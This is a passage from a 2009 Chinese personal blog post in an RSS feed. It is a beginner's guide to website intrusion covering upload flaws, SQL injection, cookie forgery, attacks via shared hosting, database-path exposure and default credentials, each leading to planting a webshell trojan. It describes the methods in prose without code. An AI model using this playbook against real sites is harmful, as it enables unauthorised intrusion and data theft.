的数据库路径也可以得到数据库的路径（注意：这里的/也要换成%5c） <br>       那么暴库的目的就是为了下载数据库得到管理员账号后上传木马脚本 <br>       6.默认漏洞 <br>       同一个网站系统或许有成千上万的网站在使用这套系统 <br>       而每一套网站系统，当然有它最初默认的安装路径以及账号密码等 <br>       我们通过大批量的搜索使用这套网站系统几百万个网站 <br>       找到那些没有修改默认设置的网站，没有修改管理账号，没有修改后台登陆地址，没有修改数据库存 <br>放地址的目标 <br>       进行入侵！ <br>--------------------------------------------------   <br>     看完上面的介绍     基于根本.所谓的入侵也就利用这些常见的微乎其微的小漏洞. <br>     并没有什么惊天动地的     没有什么所谓黑客 可以一下子没有任何基础原理和方法 <br>     去入侵某个网站或服务器 <br>     那么我们是怎么入侵的?     无非的懂的多。知道的多. <br>     我们无非是比管理员更渴望知道.服务器.哪些地方不安全.哪些地方可以被我们所利用 <br>     我们无非是比管理员更关心最新的系统漏洞 <br>     我们无非是比管理员更勤劳的寻找系统的漏洞 <br>     那么其实,只要我们通过学习实践操作掌握了这些基础的知识. <br>     所谓的入侵其实也就很简单. <br>     所以希望大家.学成以后.不要自以为是. <br>     不过就是些小漏洞,无非也就是管理员的疏忽,这又能怎样? <br>     其实我们懂的还太少.连电脑也是由美国的华德·爱肯所发明 <br>     在我们看天书一般的英文代码时.美国人就像看小说一样能明白代码的意思 <br>     试问 <br>     这是天与地的差距吗? <br>     或许,这完全是心灵上的差别. <br>-------------------------------------------------- <br>三:漏洞利用 <br>     入侵指定的目标，如何去入侵呢？ <br>     方法非常简单，我们寻找以上的基本漏洞 <br>     只要存在这些漏洞，我们就发起攻击 <br>     为大家介绍一些这些漏洞的利用方法，也就是，找到这些漏洞，我们是为了干什么！ <br>1.上传漏洞 <br>     上传漏洞利用非常简单 <br>     就是从这个上传漏洞，直接上传我们的脚本木马，从而拿到webshell。继而控制目标网站。 <br>2.注入漏洞 <br>     注入漏洞分两种不同类型ACCESS数据库与MSSQL数据库 <br>     首先，直接利用方法是，猜解管理员账号以及密码。 <br>     然后网站登陆后台，从网站的后台找到上传点。从上传点，上传脚本木马。继而控制目标网站。 <br>     那么MSSQL数据库。还可以猜解网站存放在服务器中的根目录，通过差异备份 <br>     备份出一句话，然后通过一句话木马客户端，上传脚本木马,从而控制目标网站。 <br>3.COOKIE诈骗 <br>     在得到目标网站管理员MD5加密后的密码，我们无法短时间破解出MD5解密后的密码 <br>     怎么办呢？ <br>     我们直接通过 修改COOKIE相关信息 <br>     也就是把管理的账号，ID，MD5加密的密码。修改到相应的位置 <br>     这样再登陆，系统就认为我们就是管理员。 <br>     从而我们拥有了管理员的权限， <br>     这个时候，我们就登陆后台。找到上传点。上传脚本木马。继而控制目标网站。 <br>4.旁注 <br>     旁注，非常有意思。 <br>     简单的来说，网站的服务器，他是存放在特殊的地方，或者这么说。不是私人人经营的 <br>     是由企业代为管理。 <br>     那么企业当然不可能只管理你一个网站。 <br>     所以，一台虚拟机，可能有上百个网站，同时存放在这台虚拟机上。 <br>     那么，我们试想，是不是通过入侵这台虚拟机，就达到控制这一百个网站的目的呢？ <br>     所以呀。就是这么简单。不管我们入侵这一百个网站中哪一个！ <br>     只要我们达到入侵并控制了这台网站服务器的目的。 <br>     我们就达到了控制这台服务器一百个网站的目的 <br>   <br>5.暴库 <br>     我们利用暴库这个漏洞是为了什么呢？ <br>     顾名思义呀。暴库就是暴出目标的数据库地址 <br>     想到这里大家都会笑了吧 <br>     我懂了。暴了数据库地址 <br>     当然是下载他的数据库 <br>     然后通过数据库得到管理员账号 <br>     通过管理员账号，进入后台，接着找上传点，接着上传脚本木马，接着呢？ <br>     当然就是深入的控制目标网站的服务器。 <br>6.默认漏洞 <br>     默认漏洞，这个就笑呢 <br>     低级错误嘛。但是却广泛的存在于网络中 <br>     怎么利用呢？ <br>     默认数据库，我们就利用得到管理账号入侵。 <br>     默认管理员账号。我们就通过登陆后台入侵 <!--v:3.2--> ]]></description>
<category><![CDATA[电脑学习]]></category>
<author><![CDATA[24746393@qq.com(勿忘我)]]></author>
<comments>http://24746393.qzone.qq.com/blog/1256401264#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Sat, 24 Oct 2009 16:21:04 GMT</pubDate>
<guid>http://24746393.qzone.qq.com/blog/1256401264</guid>
</item>

</channel>
</rss>

